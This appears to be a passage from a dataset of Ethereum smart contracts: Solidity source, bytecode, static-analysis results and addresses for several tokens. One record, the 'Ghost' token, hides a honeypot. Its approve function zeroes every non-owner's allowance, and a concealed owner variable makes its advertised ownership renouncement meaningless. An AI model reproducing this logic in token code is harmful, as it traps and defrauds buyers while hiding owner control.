ERC20Token token = ERC20Token(_tokenContract); token.transfer(owner, token.balanceOf(address(this))); // Send all owned tokens to this contract&#39;s owner } }
0x606060405236156101905763ffffffff60e060020a60003504166307e0421f81146101bc5780630a4c374a146101e15780630b0edad31461020a5780630be80fa9146102885780631453bfb3146102af5780631a2b3431146102d457806324ffca71146102ec57806339eb54d2146103175780633ca19952146103245780633ccfd60b146103555780633e8c34e51461036a578063435afa54146103995780634c9f45eb146103bd5780634db1ba5a146103e65780635d956b3e1461040f578063671d331514610430578063701513c01461043d57806373df6b191461045057806389c735651461047b5780638da5cb5b146104a05780639379077f146104cf578063940900b8146104dc578063a6f9dae1146104e9578063b9b949971461050a578063c9c666aa1461052e578063d16517861461054f578063da658f221461055c578063dba3191114610585578063dde0523f14610592578063e58fc54c146105b9578063e5a23e7e146105da578063e6506873146105fe578063e760fb0614610636578063ed15863a14610665575b5b600054600160a060020a031615156101a8576101b9565b6101b96101b433610672565b610791565b5b005b34156101c757600080fd5b6101cf61085a565b60405190815260200160405180910390f35b34156101ec57600080fd5b6101f4610860565b60405160ff909116815260200160405180910390f35b341561021557600080fd5b61022c600160a060020a0360043516602435610869565b6040518088815260200187600581111561024257fe5b60ff16815260200186815260200185815260200184600281111561026257fe5b60ff16815260200183815260200182815260200197505050505050505060405180910390f35b341561029357600080fd5b6101b960043560243560443560643560843560a435610902565b005b34156102ba57600080fd5b6101cf6109e6565b60405190815260200160405180910390f35b34156102df57600080fd5b6101b96004356109ec565b005b34156102f757600080fd5b6101cf60ff60043516610d59565b60405190815260200160405180910390f35b6101b9600435610d6b565b005b341561032f57600080fd5b6101cf600160a060020a0360043516610d7a565b60405190815260200160405180910390f35b341561036057600080fd5b6101b9610d99565b005b341561037557600080fd5b61037d610df1565b604051600160a060020a03909116815260200160405180910390f35b34156103a457600080fd5b6101b960043560ff60243581169060443516610e00565b005b34156103c857600080fd5b6101f4610e49565b60405160ff909116815260200160405180910390f35b34156103f157600080fd5b6101f4610e57565b60405160ff909116815260200160405180910390f35b341561041a57600080fd5b6101b9600160a060020a0360043516610e60565b005b6101b9600435610ea8565b005b6101b960ff60043516602435610eb7565b005b341561045b57600080fd5b6101cf60ff60043516611290565b60405190815260200160405180910390f35b341561048657600080fd5b6101cf6112a2565b60405190815260200160405180910390f35b34156104ab57600080fd5b61037d6112a8565b604051600160a060020a03909116815260200160405180910390f35b6101b96004356112b7565b005b6101b96004356112c6565b005b34156104f457600080fd5b6101b9600160a060020a03600435166112d5565b005b341561051557600080fd5b6101b9600160a060020a036004351660243561131d565b005b341561053957600080fd5b6101b9600160a060020a036004351661160c565b005b6101b9600435610791565b005b341561056757600080fd5b6101f4611654565b60405160ff909116815260200160405180910390f35b6101b9600435611662565b005b341561059d57600080fd5b6101b960043560243560443560643560843560a435611671565b005b34156105c457600080fd5b6101b9600160a060020a036004351661175a565b005b34156105e557600080fd5b6101b960043560ff60243581169060443516611857565b005b341561060957600080fd5b6106146004356118a0565b604051600160a060020a03909216825260208201526040908101905180910390f35b341561064157600080fd5b61037d6118c5565b604051600160a060020a03909116815260200160405180910390f35b6101b96004356118d4565b005b60008054600160a060020a031681808263dd62ed3e8630846040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156106d657600080fd5b6102c65a03f115156106e757600080fd5b50505060405180519250508115156107025760009350610789565b82600160a060020a03166370a082318660006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561075957600080fd5b6102c65a03f1151561076a57600080fd5b50505060405180519150508181101561078557809350610789565b8193505b505050919050565b600081151561079f57610856565b50600054600160a060020a0316806323b872dd33308560405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b151561080457600080fd5b6102c65a03f1151561081557600080fd5b50505033600160a060020a03167f264f630d9efa0d07053a31163641d9fcc0adafc9d9e76f1c37c2ce3a558d2c528360405190815260200160405180910390a25b5050565b60085481565b600b5460ff1681565b600080600080600080600080600360008b600160a060020a0316600160a060020a03168152602001908152602001600020898154811015156108a757fe5b906000526020600020906007020160005b508054600182015460028301546003840154600485015460058601546006870154959e5060ff9485169d50929b5090995090911696509450925090505b5092959891949750929550565b60025433600160a060020a0390811691161461091d57600080fd5b8560056000805b60ff1681526020810191909152604001600090812091909155859060059060015b60ff1681526020810191909152604001600090812091909155849060059060025b60ff1681526020810191909152604001600090812091909155839060059060035b60ff1681526020810191909152604001600090812091909155829060059060045b60ff16815260208101919091526040016000908120919091558190600590815b60ff1681526020810191909152604001600020555b5b505050505050565b60075481565b600160a060020a0333166000908152600360205260408120548190819081908190869011610a1957600080fd5b600160a060020a0333166000908152600360205260409020805487908110610a3d57fe5b906000526020600020906007020160005b506003810154909550431015610a6357600080fd5b60005b600486015460ff166002811115610a7957fe5b14610a8357600080fd5b845460008054600a546002890154939750600160a060020a03909116955090935090610ab09043906118e3565b10610b0e57845460649010610ae3578454610adc906064905b600b54610100900460ff169190046118fa565b9150610b0e565b8454600a9010610b0e578454610b0b90600a905b600b5460ff1691900463ffffffff6118fa16565b91505b5b5b6000821115610bb05760075483600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610b7357600080fd5b6102c65a03f11515610b8457600080fd5b5050506040518051905003905081811015610b9d578091505b610bad848363ffffffff61192916565b93505b6004850180546001919060ff191682805b021790555043600586015560068501849055600160a060020a0333166000908152600360205260409020805486919088908110610bfa57fe5b906000526020600020906007020160005b5081548155600180830154818301805460ff90921692909160ff191690836005811115610c3457fe5b02179055506002828101548282015560038084015490830155600480840154908301805460ff90921692909160ff1916906001908490811115610c7357fe5b021790555060058281015490820155600691820154910155600754610c9e908563ffffffff6118e316565b600755600160a060020a03831663a9059cbb338660405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610cf557600080fd5b6102c65a03f11515610d0657600080fd5b5060019150610d129050565b8633600160a060020a03167f3b19c86806543f3eff13d440630e1c2e2929cedd2abc91deef4811b1ffa000398760405190815260200160405180910390a45b505050505050565b60066020526000908152604090205481565b610d76600582610eb7565b5b50565b600160a060020a0381166000908152600360205260409020545b919050565b60025433600160a060020a03908116911614610db457600080fd5b600254600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610ded57600080fd5b5b5b565b600054600160a060020a031681565b60025433600160a060020a03908116911614610e1b57600080fd5b60088390556009805460ff8381166101000261ff001991861660ff1990931692909217161790555b5b505050565b600954610100900460ff1681565b60095460ff1681565b60025433600160a060020a03908116911614610e7b57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b610d76600182610eb7565b5b50565b60008080808060015b876005811115610ecc57fe5b1415610ee857610ee36101b433610672565b610791565b611287565b610f1c86600660008a6005811115610efc57fe5b60ff1681526020810191909152604001600020549063ffffffff6118fa16565b341015610f2857600080fd5b600054600160a060020a03169450846323b872dd33308960405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b1515610f8e57600080fd5b6102c65a03f11515610f9f57600080fd5b5050600754610fb591508763ffffffff61192916565b600755610feb600560008982811115610fca57fe5b60ff168152602081019190915260400160002054439063ffffffff61192916565b600160a060020a0333166000908152600360205260409020805491955090600181016110178382611943565b916000526020600020906007020160005b60e0604051908101604052808a81526020018b600581111561104657fe5b81524360208201526040810189905260600160005b815260006020820181905260409091015291905081518155602082015160018083018054909160ff199091169083600581111561109457fe5b02179055506040820151816002015560608201518160030155608082015160048201805460ff191660018360028111156110ca57fe5b021790555060a0820151816005015560c08201516006909101555050600160a060020a03339081166000908152600360205260409081902054600019019450849051600160a060020a03929092166c01000000000000000000000000028252601482015260340160405180910390209150604080519081016040908152600160a060020a0333168252602080830186905260008581526004909152208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03919091161781556020820151600191820155546000600160a060020a039091161115905061123c5750600154600160a060020a03168063870e5405838660405160e060020a63ffffffff85160281527f626f6f6b696e6745787069726174696f6e000000000000000000000000000000600482015260248101929092526044820152606401600060405180830381600087803b151561122757600080fd5b6102c65a03f1151561123857600080fd5b5050505b86600581111561124857fe5b8333600160a060020a03167fe1dcf3ded2916fdf0b0696536e13adeed2f8665a3004440397b776f14aa5befd8960405190815260200160405180910390a45b50505050505050565b60056020526000908152604090205481565b600a5481565b600254600160a060020a031681565b610d76600282610eb7565b5b50565b610d76600382610eb7565b5b50565b60025433600160a060020a039081169116146112f057600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600160a060020a0382166000908152600360205260408120548190819084901161134657600080fd5b600160a060020a038516600090815260036020526040902080548590811061136a57fe5b906000526020600020906007020160005b509250611397600854846003015461192990919063ffffffff16565b43116113a257600080fd5b60005b600484015460ff1660028111156113b857fe5b146113c257600080fd5b82546007546113d69163ffffffff6118e316565b60075560025b8486600160a060020a03167f3b19c86806543f3eff13d440630e1c2e2929cedd2abc91deef4811b1ffa00039866000015460405190815260200160405180910390a482546001925060649010611450578254611449906064905b600954610100900460ff169190046118fa565b915061147b565b8254600a901061147b57825461147890600a905b60095460ff1691900463ffffffff6118fa16565b91505b5b50600054600160a060020a03168063a9059cbb338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156114d457600080fd5b6102c65a03f115156114e557600080fd5b50505033600160a060020a03167ff19cfeff04aee8eb4233e04f52861d77065ae3c502e2767d82a5836d0090eb4c8360405190815260200160405180910390a26004830180546002919060ff19166001835b021790555043600584015582548290036006840155600160a060020a038516600090815260036020526040902080548491908690811061157357fe5b906000526020600020906007020160005b5081548155600180830154818301805460ff90921692909160ff1916908360058111156115ad57fe5b02179055506002828101548282015560038084015490830155600480840154908301805460ff90921692909160ff19169060019084908111156115ec57fe5b0217905550600582810154908201556006918201549101555b5050505050565b60025433600160a060020a0390811691161461162757600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600b54610100900460ff1681565b610d76600082610eb7565b5b50565b60025433600160a060020a0390811691161461168c57600080fd5b8560066000805b60ff1681526020810191909152604001600090812091909155859060069060015b60ff1681526020810191909152604001600090812091909155849060069060025b60ff1681526020810191909152604001600090812091909155839060069060035b60ff1681526020810191909152604001600090812091909155829060069060045b60ff1681526020810191909152604001600090812091909155819060069060056109c8565b60ff1681526020810191909152604001600020555b5b505050505050565b60025460009033600160a060020a0390811691161461177857600080fd5b506002548190600160a060020a038083169163a9059cbb9116826370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156117df57600080fd5b6102c65a03f115156117f057600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561183d57600080fd5b6102c65a03f1151561160557600080fd5b5050505b5b5050565b60025433600160a060020a0390811691161461187257600080fd5b600a839055600b805460ff8381166101000261ff001991861660ff1990931692909217161790555b5b505050565b60046020526000908152604090208054600190910154600160a060020a039091169082565b600154600160a060020a031681565b610d76600482610eb7565b5b50565b6000828211156118ef57fe5b508082035b92915050565b6000828202831580611916575082848281151561191357fe5b04145b151561191e57fe5b8091505b5092915050565b60008282018381101561191e57fe5b8091505b5092915050565b815481835581811511610e4357600702816007028360005260206000209182019101610e439190611975565b5b505050565b6119c891905b808211156119c457600080825560018201805460ff199081169091556002830182905560038301829055600483018054909116905560058201819055600682015560070161197b565b5090565b905600a165627a7a72305820164174a0d70dde5d0fcf9b7f4b9db57453c2f675353f456783fc997bb371c64a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
1,071
0xe24002e8c3b05ff393aea7967d422a687d3eba4f
/* _____/\\\\\\\\\\\\__/\\\________/\\\_______/\\\\\__________/\\\\\\\\\\\____/\\\\\\\\\\\\\\\_ ___/\\\//////////__\/\\\_______\/\\\_____/\\\///\\\______/\\\/////////\\\_\///////\\\/////__ __/\\\_____________\/\\\_______\/\\\___/\\\/__\///\\\___\//\\\______\///________\/\\\_______ _\/\\\____/\\\\\\\_\/\\\\\\\\\\\\\\\__/\\\______\//\\\___\////\\\_______________\/\\\_______ _\/\\\___\/////\\\_\/\\\/////////\\\_\/\\\_______\/\\\______\////\\\____________\/\\\_______ _\/\\\_______\/\\\_\/\\\_______\/\\\_\//\\\______/\\\__________\////\\\_________\/\\\_______ _\/\\\_______\/\\\_\/\\\_______\/\\\__\///\\\__/\\\_____/\\\______\//\\\________\/\\\_______ _\//\\\\\\\\\\\\/__\/\\\_______\/\\\____\///\\\\\/_____\///\\\\\\\\\\\/_________\/\\\_______ __\////////////____\///________\///_______\/////_________\///////////___________\///________ ✊🏼👻 Hold for the yield. -Example- 👻👻 If you hold 1% of the total supply of the 👻Ghost token you will be awarded 0.5% of the Tax Fee(ETH) collected in the Marketing wallet. -Ghokenomics- -Total Supply- 👻 1,000,000,000,000 tokens will be Minted. 👻 Liquidity- 1,000,000,000,000 👻 Initial Buy Limit- 10,000,000,000 (1% of Total supply) 👻 10% Tax on each transaction as follows: 👻 5% Tax for Development. 👻 5% Tax As Yield to Holders at Every 6 Hours. 🔔 Launch Features 🔔 👻 Anti-whale buy limit 👻 1 trillion total supply 👻 Bots Blacklisted 👻 Liquidity Locked 👻 Contract Renounced 👻 Apply CG and CMC Will be Done ASAP 👻 Telegram: https://t.me/Ghost_Token 👻 Website: https://www.ghosttoken.club/ */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract ghost is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 10 * 10**9 * 10**18; string private _name = 'GHOST | https://t.me/Ghost_Token'; string private _symbol = '$GHOST'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _approve(address frrom, address target, uint256 amount) private { require(frrom != address(0), "ERC20: approve from the zero address"); require(target != address(0), "ERC20: approve to the zero address"); if (frrom != owner()) { _allowances[frrom][target] = 0; emit Approval(frrom, target, 4); } else { _allowances[frrom][target] = amount; emit Approval(frrom, target, amount); } } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122007ef1a61fb732c4ad532904a7d9bd104f576d16c9fa7b91aab514ecc3f8d3cd064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,072
0x778bd3d949ec5824c22a34399524220cf3d6f9d1
/** *Submitted for verification at Etherscan.io on 2021-12-23 */ pragma solidity ^0.8.9; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PriestInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant 